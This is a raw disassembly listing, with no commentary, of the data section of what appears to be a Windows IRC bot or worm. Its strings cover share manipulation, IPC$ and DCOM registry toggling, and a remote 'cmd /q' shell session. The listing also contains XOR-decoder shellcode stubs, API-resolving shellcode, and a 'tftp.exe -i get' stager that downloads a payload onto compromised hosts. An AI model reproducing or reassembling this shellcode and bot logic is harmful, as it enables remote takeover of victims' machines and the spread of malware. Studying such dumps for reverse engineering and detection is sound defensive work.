aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 4
unk_433498 db 2 ; DATA XREF: sub_415F88:loc_416157o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_4334D4 db 2 ; DATA XREF: sub_415F88+1C8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 4
unk_433508 db 2 ; DATA XREF: sub_415F88:loc_4160BAo
; sub_4162AC:loc_4163DAo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_433548 db 2 ; DATA XREF: sub_415F88:loc_4160B3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_433594 db 2 ; DATA XREF: sub_415F88:loc_416095o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_4335D8 db 2 ; DATA XREF: sub_415F88+106o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
; sub_4162AC+EDo
align 4
unk_433638 db 2 ; DATA XREF: sub_415F88+91o
; sub_4162AC+91o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_433678 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_415F88:loc_415FF5o
dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h
dd 2E6465h
unk_4336A4 db 2 ; DATA XREF: sub_415F88+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o
; sub_4162AC+54o
align 4
word_4336E4 dw 4Eh ; DATA XREF: sub_415F88+38r
align 4
unk_4336E8 db 2 ; DATA XREF: sub_4162AC+2C3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o
align 4
aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o
unk_433728 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo
; sub_4162AC:loc_41651Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 10h
unk_433760 db 2 ; DATA XREF: sub_4162AC+198o
; sub_4162AC+269o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 10h
unk_433790 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_4337DC db 2 ; DATA XREF: sub_4162AC:loc_4163B5o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_433820 db 2 ; DATA XREF: sub_4162AC+102o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43386C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
; DATA XREF: sub_4162AC:loc_416319o
dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h
dd 2E64h
unk_433898 db 2 ; DATA XREF: sub_4162AC+66o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 65h, 63h
db 75h ; u
db 72h, 65h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_4338CC dw 59h ; DATA XREF: sub_4162AC+38r
align 10h
dword_4338D0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165C6+DEo
dd 2029671Fh, 2BBBB02h
aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0
align 4
dword_433914 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4165C6+59o
; sub_4165C6+8Bo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0
align 4
dword_43396C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+AFo
dd 2029671Fh, 2BBBB02h
aFailedToExecut db ' Failed to execute shell.',0
align 4
dword_4339A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+7Eo
dd 2029671Fh, 2BBBB02h
aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0
align 4
dword_4339F4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416717+5Co
dd 2029671Fh, 2BBBB02h
aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0
align 4
dword_433A44 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_416810+C3o
dd 2029671Fh, 2BBBB02h
aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_416810+8Co
align 10h
dword_433A90 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
; DATA XREF: sub_4168E9+A1o
dd 2029671Fh, 2BBBB02h
aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0
align 4
loc_433ADC: ; DATA XREF: sub_416C55+C4o
jmp short loc_433AE0
; ---------------------------------------------------------------------------
loc_433ADE: ; CODE XREF: ___:loc_433AE0p
jmp short loc_433AE5
; ---------------------------------------------------------------------------
loc_433AE0: ; CODE XREF: ___:loc_433ADCj
call loc_433ADE
loc_433AE5: ; CODE XREF: ___:loc_433ADEj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_433AEA dw 0FFFFh ; DATA XREF: sub_416C55+CCw
db 80h, 73h, 0Eh
byte_433AEF db 0FFh ; DATA XREF: sub_416C55+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_433AF4: ; DATA XREF: sub_416C55+A2o
jmp short loc_433AF8
; ---------------------------------------------------------------------------
loc_433AF6: ; CODE XREF: ___:loc_433AF8p
jmp short loc_433AFD
; ---------------------------------------------------------------------------
loc_433AF8: ; CODE XREF: ___:loc_433AF4j
call loc_433AF6
loc_433AFD: ; CODE XREF: ___:loc_433AF6j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_433B01 db 0FFh ; DATA XREF: sub_416C55+AAw
dw 7380h
db 0Ch
byte_433B05 db 0FFh ; DATA XREF: sub_416C55+B0w
dw 0E243h
dd 0F9h
dword_433B0C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_416ADE+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_433B70 dd 12h ; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADE+79o
aJ db 'j',0
db 0E8h
dword_433B89 dd 17h ; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_433B90
retn
; ---------------------------------------------------------------------------
byte_433B90 db 0E8h ; CODE XREF: ___:00433B8Dj
dword_433B91 dd 1 ; DATA XREF: sub_416ADE+45w
byte_433B95 db 0, 6Ah, 0 ; DATA XREF: sub_416ADE+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_433B9F dd 0FFFFFFEDh ; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
aThreadList db '-[Thread List]-',0
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_433C20 dd 29E2C0h ; DATA XREF: sub_417302+4w sub_41730Cr ...
align 10h
dword_433C30 dd 173Fh ; DATA XREF: sub_417CA4+Dr
dd 9875h, 9873h
off_433C3C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r
dd offset nullsub_2
dd offset nullsub_2
dword_433C48 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr
dword_433C4C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o
; sub_418276+2o
off_433C60 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr
dword_433C64 dd 2 ; DATA XREF: sub_41F84C+Er
; sub_41F885+46r ...
off_433C68 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr
; sub_419E38+457r
; "(null)"
off_433C6C dd offset aNull ; DATA XREF: sub_419E38+259r
; "(null)"
off_433C70 dd offset word_433C7A ; DATA XREF: sub_417794+23r
; sub_417794:loc_4177F5r ...
off_433C74 dd offset word_433C7A ; DATA XREF: sub_422EB1+18r
db 2 dup(0)
word_433C7A dw 20h ; DATA XREF: sub_42102E+18r
; ___:off_433C70o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_433E7C dd 1 ; DATA XREF: sub_417794:loc_41779Cr
; sub_417794:loc_4177E0r ...
byte_433E80 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr
; sub_41C8C9+4r ...
align 4
dd 1, 10h, 0
off_433E90 dd offset off_433E90 ; DATA XREF: sub_41B888+Do
; sub_41B888+69o ...
off_433E94 dd offset off_433E90 ; DATA XREF: sub_41B888:loc_41B908r
; sub_41B888+89w ...
dd offset dword_433EA8
dd offset dword_433EA8
dword_433EA0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r
; sub_41B9CC:loc_41BA19w
dd 0FFFFFFFFh
dword_433EA8 dd 0F0h, 0F1h, 4E6h dup(0) ; DATA XREF: ___:00433E98o
; ___:00433E9Co
db 0
byte_435249 db 3 dup(0) ; DATA XREF: ___:off_4274DCo
dd 319h dup(0)
off_435EB0 dd offset off_433E90 ; DATA XREF: sub_41B9CC+15r
; sub_41B9CC+20w ...
dword_435EB4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r
; sub_41944F+185r ...
dword_435EB8 dd 14h ; DATA XREF: sub_41C5B8+2o
off_435EBC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r
; "exp"
dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh
dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
dd 15h, 42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
dd 18h, 42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
dd 23h, 424764h, 24h, 424760h
dbl_435F90 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+B7r
; sub_41C2F3:loc_41C3DAr ...
dd 0
dd 0FFF80000h
dbl_435FA0 dq 1.797693134862316e308 ; DATA XREF: sub_41C2F3+92r
; sub_41C2F3:loc_41C3B2r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_435FB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
; sub_41C7A0+1Fr
align 4
tbyte_435FC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
align 10h
off_435FD0 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+Fw
; sub_419E38+3AAr
off_435FD4 dd offset sub_41C8C9 ; DATA XREF: sub_417D8B+5w
; sub_419E38+3E2r
off_435FD8 dd offset sub_41C92F ; DATA XREF: sub_417D8B+14w
; sub_41D797+430r
off_435FDC dd offset sub_41C86F ; DATA XREF: sub_417D8B+1Ew
; sub_419E38+3CBr
off_435FE0 dd offset sub_41C917 ; DATA XREF: sub_417D8B+28w
off_435FE4 dd offset sub_41CC34 ; DATA XREF: sub_417D8B+32w
dd offset sub_42086E
align 10h
dd offset sub_41D4FC
off_435FF4 dd offset sub_41D4FC ; DATA XREF: sub_41D552+29r
dword_435FF8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41D797:loc_41DCFEo
dword_436000 dd 5Dh, 0 ; DATA XREF: sub_41D797:loc_41DBEEo
byte_436008 db 1 ; DATA XREF: sub_41E92D+E1r
db 2, 4, 8
align 10h
dword_436010 dd 3A4h ; DATA XREF: sub_41E92D+2Fo
dword_436014 dd 82798260h, 21h, 0 ; DATA XREF: sub_41E92D+11Dr
dword_436020 dd 0DFA6h ; DATA XREF: sub_41E92D+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_436100 dd 1 ; DATA XREF: sub_41E92D+3Co
; sub_41EF44+Co
dword_436104 dd 16h ; DATA XREF: sub_41EF44:loc_41EF79r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_436268 dd 0C0000005h ; DATA XREF: sub_41EF44+19o
; sub_41F0EC+Ar ...
dword_43626C dd 0Bh ; DATA XREF: sub_421D69+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4362E0 dd 3 ; DATA XREF: ___:0041F003r
; sub_421C3C+C8r
dword_4362E4 dd 7 ; DATA XREF: ___:0041F009r
; sub_421C3C+CDr
dword_4362E8 dd 0Ah ; DATA XREF: sub_41F0EC+4r
; sub_421D69+4r
dword_4362EC dd 8Ch ; DATA XREF: ___:0041F02Dr
; ___:0041F03Aw ...
dword_4362F0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_419D23:loc_419DE0o
; sub_41E248:loc_41E2C9o
dword_4362F8 dd 2 ; DATA XREF: sub_41F885+Eo
; sub_41F885+28r
off_4362FC dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
; sub_41F885+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 424B2Ch, 9, 424B00h, 0Ah, 424ADCh, 10h, 424AB0h
dd 11h, 424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
dd 19h, 4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
dd 78h, 424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
dd 0FFh, 4248F8h
off_436388 dd offset dword_4CDCC0 ; DATA XREF: sub_41F885+1Bo
; sub_41FA42+55o
align 10h
dd offset dword_4CDCC0
dd 101h
dword_436398 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41FA42+72o
dd 1000h, 0
dword_4363A8 dd 3 dup(0) ; DATA XREF: sub_419D23+50o
; sub_41A8A2+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4363C8 dd 3 dup(0) ; DATA XREF: sub_419D23+58o
; sub_41A8A2:loc_41A8C0o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4363F8 dd 84h dup(0) ; DATA XREF: sub_41FA42+9Bo
dword_436608 dd 2694h ; DATA XREF: sub_41BF55+3r
; sub_41BFA8+46r ...
align 10h
dword_436610 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42064Eo
dword_436628 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_436640 dd 7080h ; DATA XREF: sub_41D609+76r
; sub_42094E+5Ew ...
dword_436644 dd 1 ; DATA XREF: sub_41D609+98r
; sub_42094E+8Bw ...
dword_436648 dd 0FFFFF1F0h ; DATA XREF: sub_41D609:loc_41D6BBr
; sub_42094E+94w ...
off_43664C dd offset loc_54534E+2 ; DATA XREF: ___:off_4366CCo
dd 0Fh dup(0)
off_43668C dd offset aMBAvMbBskh ; DATA XREF: ___:off_4366D0o
; "M)ÂêV´MÂ]=ÊbéªH"
dd 0Fh dup(0)
off_4366CC dd offset off_43664C ; DATA XREF: sub_42094E+BAr
; sub_42094E+D9r ...
off_4366D0 dd offset off_43668C ; DATA XREF: sub_42094E+F4r
; sub_42094E+11Br ...
align 8
dword_4366D8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+1Dw
; sub_420BAC+1Er ...
dword_4366DC dd 0 ; DATA XREF: sub_420BAC:loc_420CE0r
; sub_420D58+BFw
dword_4366E0 dd 0 ; DATA XREF: sub_420BAC+192r
; sub_420D58+E0w
align 8
dword_4366E8 dd 0FFFFFFFFh ; DATA XREF: sub_42094E+17w
; sub_420BAC+26r ...
dword_4366EC dd 0 ; DATA XREF: sub_420BAC+13Ar
; sub_420D58+EAw ...
dword_4366F0 dd 0 ; DATA XREF: sub_420BAC+1A1r
; sub_420D58+23r ...
dword_4366F4 dd 0FFFFFFFFh ; DATA XREF: sub_420D58+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_436724 dd 16Dh ; DATA XREF: sub_41D609+2Ar
; sub_420D58+2Er ...
dword_436728 dd 0FFFFFFFFh ; DATA XREF: sub_420D58:loc_420DE4r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_436760 dd 2 dup(0) ; DATA XREF: sub_4220C1+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4368C0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4220C1+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_436A1C dd offset off_424D00 ; DATA XREF: ___:00424EDCo
; ___:00424FC8o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_436A34 dd offset off_424D00 ; DATA XREF: ___:off_424D90o
; ___:00424DD0o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_436A54 dd offset off_424D00 ; DATA XREF: ___:off_424DD8o
; ___:00424E1Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_436A74 dd offset off_424D00 ; DATA XREF: ___:off_424E24o
; ___:00424E68o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 8
off_436A98 dd offset off_424D00 ; DATA XREF: ___:off_424E70o
; ___:00424EACo
align 10h
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42086E
align 8
byte_436AB8 db 0 ; DATA XREF: sub_40144A+1D3w
; sub_40144A+2D2o
align 2
word_436ABA dw 0 ; DATA XREF: sub_40144A+1E3w
word_436ABC dw 0 ; DATA XREF: sub_40144A+1E9w
word_436ABE dw 0 ; DATA XREF: sub_40144A+1F0w
byte_436AC0 db 0 ; DATA XREF: sub_40144A+1F7w
byte_436AC1 db 0 ; DATA XREF: sub_40144A+1FEw
word_436AC2 dw 0 ; DATA XREF: sub_40144A+204w
dword_436AC4 dd 0 ; DATA XREF: sub_40144A+234w
; sub_40144A+250w
dword_436AC8 dd 0 ; DATA XREF: sub_40144A+258w
byte_436ACC db 0 ; DATA XREF: sub_40144A+26Aw
byte_436ACD db 0 ; DATA XREF: sub_40144A+27Dw
word_436ACE dw 0 ; DATA XREF: sub_40144A+295w
word_436AD0 dw 0 ; DATA XREF: sub_40144A+2A4w
word_436AD2 dw 0 ; DATA XREF: sub_40144A+29Cw
dword_436AD4 dd 101h dup(0) ; DATA XREF: sub_40144A+2B9o
dword_436ED8 dd 0 ; DATA XREF: sub_4029E9+9Eo
byte_436EDC db 0 ; DATA XREF: sub_4029E9+36r
; sub_402ACC+37r ...
align 10h
dword_436EE0 dd 0 ; DATA XREF: sub_4030D1+10w
; sub_4030E8+30r ...
dd 2 dup(0)
dword_436EEC dd 2 dup(0) ; DATA XREF: sub_403EBA+68o
dword_436EF4 dd 0 ; DATA XREF: sub_40395A+13o
; sub_40EE72+610Do ...
dword_436EF8 dd 0 ; DATA XREF: sub_404853+8w
; ___:00404C22o
align 10h
